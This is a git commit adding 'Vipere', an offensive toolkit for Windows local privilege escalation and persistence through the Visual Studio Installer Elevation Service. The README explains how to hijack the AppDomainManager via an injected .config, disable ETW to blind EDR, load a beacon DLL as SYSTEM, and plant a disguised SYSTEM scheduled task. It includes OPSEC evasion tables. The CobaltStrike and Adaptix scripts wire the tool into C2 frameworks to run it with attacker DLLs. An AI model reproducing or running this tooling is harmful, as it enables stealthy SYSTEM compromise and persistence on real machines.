Vipere: VS Installer LPE via AppDomainManager

This commit is contained in:
P'tit Snake
2026-08-05 11:19:44 +02:00
commit e1b92891ba
6 changed files with 471 additions and 0 deletions
+1
View File
@@ -0,0 +1 @@
dist/
BIN
View File
Binary file not shown.
+14
View File
@@ -0,0 +1,14 @@
CC = x86_64-w64-mingw32-g++
BOF_CFLAGS = -Wall -O2 -DUNICODE -D_UNICODE -DBOF -c \
-fno-exceptions -fno-rtti -mno-stack-arg-probe -fno-asynchronous-unwind-tables
DIST = dist
all: $(DIST)/lpe_vs_bootstrap.x64.o
$(DIST)/lpe_vs_bootstrap.x64.o: src/lpe_vs_bootstrap_bof.cpp src/beacon.h
@mkdir -p $(DIST)
$(CC) $(BOF_CFLAGS) -o $@ $<
@echo "[+] BOF: $@ ($$(stat -c%s $@) bytes)"
clean:
rm -rf $(DIST)
+283
View File
@@ -0,0 +1,283 @@
# Vipere
---
## Demo
<video src="Demo.mp4" controls width="100%"></video>
## What is this?
Vipere exploits a chain of three weaknesses in the Visual Studio Installer Elevation Service to achieve **persistent SYSTEM execution** triggered by any standard user.
| Weakness | Detail |
|----------|--------|
| **Permissive SDDL** | `SERVICE_START` granted to all Authenticated Users (`AU`) |
| **No config integrity check** | .NET CLR loads `appDomainManagerAssembly` without signature verification |
| **Orphaned service registration** | Service entry persists in HKLM after VS uninstallation |
No single weakness is a vulnerability on its own, the **combination** creates a reliable LPE + persistence chain.
## How It Works
```mermaid
flowchart TD
BOF["BOF: vipere-full\nAdmin required"]:::blue
BOF --> P1
BOF --> E1
BOF --> S1
subgraph prep ["1. PREPARE"]
P1["Download vs_BuildTools.exe\nfrom aka.ms"]
P2["Run --quiet --wait\nregisters service"]
P3["VSInstallerElevationService\nregistered in SCM"]:::green
P1 --> P2 --> P3
end
subgraph exploit ["2. EXPLOIT"]
E1["Backup original .config"]
E2["Merge .config\nETW off + AppDomainManager"]:::yellow
E3["Compile ADM via csc.exe\non target"]:::yellow
E4["Drop beacon DLL"]:::red
E5["StartServiceW"]:::blue
E1 --> E2 --> E3 --> E4 --> E5
end
subgraph persist ["3. PERSIST"]
S1["Copy vs_installershell.exe\nto ProgramData"]
S2["Deploy ADM chain\n.config + DLL + beacon"]:::yellow
S3["schtasks /create\n/sc onlogon /ru SYSTEM"]:::purple
S1 --> S2 --> S3
end
P3 -.->|"service exists"| E1
E5 ==> R1
subgraph runtime ["RUNTIME - Hijack Chain"]
R1["SCM starts signed EXE\nVSInstallerElevationService.exe"]:::green
R2["CLR reads merged .config"]:::yellow
R3["ETW disabled natively\nStrong name bypass"]:::yellow
R4["AppDomainManager\nInitializeNewDomain()"]:::yellow
R5["LoadLibrary beacon.dll\nnew thread"]:::red
R6["StartServiceCtrlDispatcherW\nSERVICE_RUNNING"]:::green
R1 --> R2 --> R3 --> R4
R4 --> R5
R4 --> R6
end
R5 --> RESULT["SYSTEM SHELL\nIn-process, no child PID"]:::red
R6 --> RESULT
TRIG["Any authenticated user\nsc start ..."]:::purple -.->|"re-triggers"| R1
S3 -.-> REBOOT["Reboot / Logon\nScheduled task fires"]:::purple
REBOOT -.->|"same chain"| R4
classDef blue fill:#dae8fc,stroke:#6c8ebf,color:#000
classDef green fill:#d5e8d4,stroke:#82b366,color:#000
classDef yellow fill:#fff2cc,stroke:#d6b656,color:#000
classDef red fill:#f8cecc,stroke:#b85450,color:#000
classDef purple fill:#e1d5e7,stroke:#9673a6,color:#000
```
### AppDomainManager Hijacking + ETW Evasion
The signed Microsoft binary is **never replaced**. Three small files are added alongside:
```
C:\Program Files (x86)\Microsoft Visual Studio\Installer\
VSInstallerElevationService.exe -- UNTOUCHED (Microsoft signed)
VSInstallerElevationService.exe.config -- INJECTED (.config with ETW kill)
Microsoft.VS.ConfigurationManager.dll -- AppDomainManager (compiled on-target via csc.exe)
Microsoft.VS.ConfigurationHost.dll -- your beacon DLL
```
The `.config` is **merged** into the original - all 22+ binding redirects are preserved. If no original exists, a standalone config is used instead.
On service start, the .NET CLR reads the config which:
1. **Disables ETW** natively (`<etwEnable enabled="false"/>`) - EDR is blind
2. **Bypasses strong name checks** (`<bypassTrustedAppStrongNames enabled="true"/>`)
3. **Loads the AppDomainManager** which calls `LoadLibrary` on your beacon DLL
The AppDomainManager also **takes over SCM registration** - it calls `StartServiceCtrlDispatcherW` and reports `SERVICE_RUNNING`, so the service stays alive indefinitely. No child process, no parent-child relationship visible to EDR.
```
Service process (SYSTEM)
\_ CLR init -> AppDomainManager.InitializeNewDomain()
|_ Thread: LoadLibrary("beacon.dll") -> beacon runs in-process
\_ StartServiceCtrlDispatcherW -> SCM sees SERVICE_RUNNING
\_ process stays alive until sc stop
```
### Persistence via Scheduled Task
`persist` creates a second AppDomainManager chain in a separate directory using a different .NET binary:
```
C:\ProgramData\Microsoft\VisualStudio\Updates\
vs_installershell.exe -- copy of legit .NET binary
vs_installershell.exe.config -- AppDomainManager + ETW kill
Microsoft.VS.ConfigurationManager.dll -- compiled on-target
Microsoft.VS.ConfigurationHost.dll -- your beacon DLL
```
A scheduled task (`Microsoft\VisualStudio\UpdateCheckService`) runs the binary as SYSTEM at every logon.
### Bootstrap Mode (virgin machine)
Downloads the official `vs_BuildTools.exe` from `https://aka.ms/vs/17/release/vs_BuildTools.exe`, runs it silently to register the service, then uses AppDomainManager hijacking. All traffic goes to `microsoft.com` over HTTPS via WinHTTP.
## Usage
### CobaltStrike
Load `vipere.cna` in the Script Manager. Commands are available as beacon aliases:
```
vipere-check
vipere-full /path/to/beacon.dll
vipere-cleanup
```
### Adaptix
Load `vipere.axs` as an extension. Commands register under the `vipere` group:
```
vipere-check
vipere-full <beacon.dll>
vipere-cleanup
```
### Generic COFF Loader
Load `dist/lpe_vs_bootstrap.x64.o` and pass a zero-terminated string (command) + optional binary blob (DLL bytes):
| Arg | Format | Description |
|-----|--------|-------------|
| 1 | `z` (string) | Command: `check`, `prepare`, `exploit`, `persist`, `full`, `cleanup` |
| 2 | `b` (binary) | Beacon DLL bytes (required for `exploit`, `persist`, `full`) |
Payload is any beacon DLL that supports `LoadLibrary` loading (DllMain entry point).
### Commands
| Command | Action |
|---------|--------|
| `check` | Detect service state + persistence artifacts |
| `prepare` | Download VS Installer from microsoft.com (creates service) |
| `exploit <dll>` | AppDomainManager hijack on service -> SYSTEM |
| `persist <dll>` | Copy vs_installershell.exe + AppDomainManager + Scheduled Task |
| `full <dll>` | prepare + exploit + persist (one-shot) |
| `cleanup` | Stop service, kill persist process, remove all artifacts, restore original .config |
## Output Examples
**Full (service already exists):**
```
[*] Vipere PREPARE
[+] Service already exists — skipping download
[*] Vipere EXPLOIT
[+] Service RUNNING — beacon loaded as SYSTEM
[*] Vipere PERSIST
[+] Scheduled task created (triggers at logon)
```
**Check (after exploit + persist):**
```
[*] Vipere CHECK
[+] Service registered
Binary: YES
.config hijack: YES
AppDomainManager: YES
Beacon DLL: YES
Config backup: YES
[*] Persistence:
Persist dir: YES
Persist EXE: YES
Persist beacon: YES
```
**Cleanup:**
```
[*] Vipere CLEANUP
[+] Original .config restored
[+] Scheduled task + persist dir removed
[+] Cleaned
```
## Persistence
| Mechanism | Trigger | Survives |
|-----------|---------|----------|
| **SCM registration** | AppDomainManager registers as service -> process stays alive | Runs until `sc stop` |
| **Scheduled task** | Logon -> `vs_installershell.exe` as SYSTEM | Reboots, VS uninstallation |
Any authenticated user can re-trigger the service beacon:
```cmd
sc start VSInstallerElevationService
```
## Requirements
| Phase | Privilege | Internet | VS Required |
|-------|:---------:|:--------:|:-----------:|
| prepare | Admin | Yes | No |
| exploit | Admin | No | Service must exist |
| persist | Admin | No | vs_installershell.exe must exist |
| **trigger** | **Any user** | **No** | **Service must exist** |
| cleanup | Admin | No | No |
## OPSEC Considerations
| Aspect | Detail |
|--------|--------|
| **Binary replacement** | None - signed binary is untouched |
| **ETW** | Killed natively via .config - no patching, no unhooking |
| **File names** | `Microsoft.VS.ConfigurationHost.dll` / `ConfigurationManager.dll` - credible VS names |
| **Compilation** | AppDomainManager compiled on-target via `csc.exe` - no unsigned DLL transferred |
| **Child processes** | None - beacon loaded via `LoadLibrary` in-process |
| **Network traffic** | `aka.ms` / `download.visualstudio.microsoft.com` - legitimate Microsoft domains |
| **Bootstrapper** | `vs_BuildTools.exe` is Authenticode-signed by Microsoft |
| **SCM registration** | AppDomainManager registers as the service via `StartServiceCtrlDispatcherW` - SCM sees a normal service lifecycle |
| **Config merge** | Injects directives into original `.config` preserving all binding redirects - diff is minimal |
| **Service creation** | None - reuses existing VS Installer registration |
| **Scheduled task** | Named `Microsoft\VisualStudio\UpdateCheckService` - blends with legitimate VS tasks |
| **Cleanup** | Restores original .config from backup, kills persist process, removes all artifacts |
## Build
```bash
make
```
**Requires:** `x86_64-w64-mingw32-g++` (mingw-w64 cross-compiler)
**Project structure:**
```
vipere/
|_ vipere.cna # CobaltStrike aggressor script
|_ vipere.axs # Adaptix extension
|_ Demo.mp4 # Demo video
|_ Makefile
|_ src/
| |_ lpe_vs_bootstrap_bof.cpp # BOF source
| \_ beacon.h
\_ dist/
\_ lpe_vs_bootstrap.x64.o # compiled BOF
```
## Tested On
- Windows 11 25H2 Build 26200 (July 2026: fully patched)
- Visual Studio 2022 Build Tools 17.x
- Windows Defender (current definitions)
## Related Work
- [Unit42: Screening Serpens](https://unit42.paloaltonetworks.com/tracking-iran-apt-screening-serpens/) (AppDomainManager hijacking by Iranian APT - ETW evasion technique)
- [CYFIRMA: Operation PhantomCLR](https://www.cyfirma.com/research/phantomclr/) (Same T1574.014 technique in the wild)
## License
MIT
+55
View File
@@ -0,0 +1,55 @@
var metadata = {
name: "vipere",
description: "VS Installer LPE - AppDomainManager hijack + ETW evasion"
};
// --- CHECK ---
var cmd_check = ax.create_command("vipere-check", "Vipere - detect service + persistence state", "vipere-check");
cmd_check.setPreHook(function(id, cmdline, parsed_json) {
let bof_path = ax.script_dir() + "dist/lpe_vs_bootstrap." + ax.arch(id) + ".o";
ax.execute_alias(id, cmdline, `runbof "${bof_path}" string:check`, "Vipere check");
});
// --- PREPARE ---
var cmd_prepare = ax.create_command("vipere-prepare", "Vipere - download VS Installer from microsoft.com", "vipere-prepare");
cmd_prepare.setPreHook(function(id, cmdline, parsed_json) {
let bof_path = ax.script_dir() + "dist/lpe_vs_bootstrap." + ax.arch(id) + ".o";
ax.execute_alias(id, cmdline, `runbof "${bof_path}" string:prepare`, "Vipere prepare");
});
// --- EXPLOIT (AppDomainManager hijack on service) ---
var cmd_exploit = ax.create_command("vipere-exploit", "Vipere - AppDomainManager hijack service -> SYSTEM", "vipere-exploit <beacon.dll>");
cmd_exploit.addArgFile("beacon_dll", true);
cmd_exploit.setPreHook(function(id, cmdline, parsed_json) {
let dll_b64 = parsed_json["beacon_dll"];
let bof_path = ax.script_dir() + "dist/lpe_vs_bootstrap." + ax.arch(id) + ".o";
ax.execute_alias(id, cmdline, `runbof "${bof_path}" string:exploit base64:${dll_b64}`, "Vipere exploit");
});
// --- PERSIST (Scheduled Task + AppDomainManager) ---
var cmd_persist = ax.create_command("vipere-persist", "Vipere - scheduled task + AppDomainManager persistence", "vipere-persist <beacon.dll>");
cmd_persist.addArgFile("beacon_dll", true);
cmd_persist.setPreHook(function(id, cmdline, parsed_json) {
let dll_b64 = parsed_json["beacon_dll"];
let bof_path = ax.script_dir() + "dist/lpe_vs_bootstrap." + ax.arch(id) + ".o";
ax.execute_alias(id, cmdline, `runbof "${bof_path}" string:persist base64:${dll_b64}`, "Vipere persist");
});
// --- FULL (prepare + exploit + persist in one BOF call) ---
var cmd_full = ax.create_command("vipere-full", "Vipere - full auto: prepare + exploit + persist", "vipere-full <beacon.dll>");
cmd_full.addArgFile("beacon_dll", true);
cmd_full.setPreHook(function(id, cmdline, parsed_json) {
let dll_b64 = parsed_json["beacon_dll"];
let bof_path = ax.script_dir() + "dist/lpe_vs_bootstrap." + ax.arch(id) + ".o";
ax.execute_alias(id, cmdline, `runbof "${bof_path}" string:full base64:${dll_b64}`, "Vipere full");
});
// --- CLEANUP ---
var cmd_cleanup = ax.create_command("vipere-cleanup", "Vipere - stop service + remove all artifacts + restore originals", "vipere-cleanup");
cmd_cleanup.setPreHook(function(id, cmdline, parsed_json) {
let bof_path = ax.script_dir() + "dist/lpe_vs_bootstrap." + ax.arch(id) + ".o";
ax.execute_alias(id, cmdline, `runbof "${bof_path}" string:cleanup`, "Vipere cleanup");
});
var group = ax.create_commands_group("vipere", [cmd_check, cmd_prepare, cmd_exploit, cmd_persist, cmd_full, cmd_cleanup]);
ax.register_commands_group(group, ["beacon"], ["windows"], []);
+118
View File
@@ -0,0 +1,118 @@
# Vipere - VS Installer LPE via AppDomainManager Hijacking
# CobaltStrike Aggressor Script
beacon_command_register(
"vipere-check",
"Detect service + persistence state",
"Synopsis: vipere-check\n\nDetects VS Installer Elevation Service state and persistence artifacts.\nNo arguments required."
);
beacon_command_register(
"vipere-prepare",
"Download VS Installer from microsoft.com",
"Synopsis: vipere-prepare\n\nDownloads vs_BuildTools.exe from aka.ms and registers the service.\nRequires: Admin, Internet access."
);
beacon_command_register(
"vipere-exploit",
"AppDomainManager hijack service -> SYSTEM",
"Synopsis: vipere-exploit /path/to/beacon.dll\n\nDeploys AppDomainManager hijack on the VS Installer service.\nLoads beacon DLL as SYSTEM via LoadLibrary in-process.\nRequires: Admin, service must exist."
);
beacon_command_register(
"vipere-persist",
"Scheduled task + AppDomainManager persistence",
"Synopsis: vipere-persist /path/to/beacon.dll\n\nCopies vs_installershell.exe to ProgramData, deploys AppDomainManager chain,\ncreates scheduled task (logon trigger, runs as SYSTEM).\nRequires: Admin."
);
beacon_command_register(
"vipere-full",
"Full auto: prepare + exploit + persist",
"Synopsis: vipere-full /path/to/beacon.dll\n\nOne-shot: downloads VS Installer, deploys AppDomainManager hijack,\ncreates persistence. Beacon loaded as SYSTEM.\nRequires: Admin, Internet access."
);
beacon_command_register(
"vipere-cleanup",
"Stop service + remove all artifacts + restore originals",
"Synopsis: vipere-cleanup\n\nStops service, kills persist process, removes all dropped files,\nrestores original .config from backup.\nRequires: Admin."
);
sub _vipere_bof {
local('$handle $data');
$handle = openf(script_resource("dist/lpe_vs_bootstrap.x64.o"));
$data = readb($handle, -1);
closef($handle);
return $data;
}
alias vipere-check {
local('$data $args');
$data = _vipere_bof();
$args = bof_pack($1, "z", "check");
beacon_inline_execute($1, $data, "go", $args);
}
alias vipere-prepare {
local('$data $args');
$data = _vipere_bof();
$args = bof_pack($1, "z", "prepare");
beacon_inline_execute($1, $data, "go", $args);
}
alias vipere-exploit {
local('$data $args $dll_handle $dll_data');
if ($2 eq "") {
berror($1, "Usage: vipere-exploit /path/to/beacon.dll");
return;
}
$dll_handle = openf($2);
$dll_data = readb($dll_handle, -1);
closef($dll_handle);
$data = _vipere_bof();
$args = bof_pack($1, "zb", "exploit", $dll_data);
beacon_inline_execute($1, $data, "go", $args);
}
alias vipere-persist {
local('$data $args $dll_handle $dll_data');
if ($2 eq "") {
berror($1, "Usage: vipere-persist /path/to/beacon.dll");
return;
}
$dll_handle = openf($2);
$dll_data = readb($dll_handle, -1);
closef($dll_handle);
$data = _vipere_bof();
$args = bof_pack($1, "zb", "persist", $dll_data);
beacon_inline_execute($1, $data, "go", $args);
}
alias vipere-full {
local('$data $args $dll_handle $dll_data');
if ($2 eq "") {
berror($1, "Usage: vipere-full /path/to/beacon.dll");
return;
}
$dll_handle = openf($2);
$dll_data = readb($dll_handle, -1);
closef($dll_handle);
$data = _vipere_bof();
$args = bof_pack($1, "zb", "full", $dll_data);
beacon_inline_execute($1, $data, "go", $args);
}
alias vipere-cleanup {
local('$data $args');
$data = _vipere_bof();
$args = bof_pack($1, "z", "cleanup");
beacon_inline_execute($1, $data, "go", $args);
}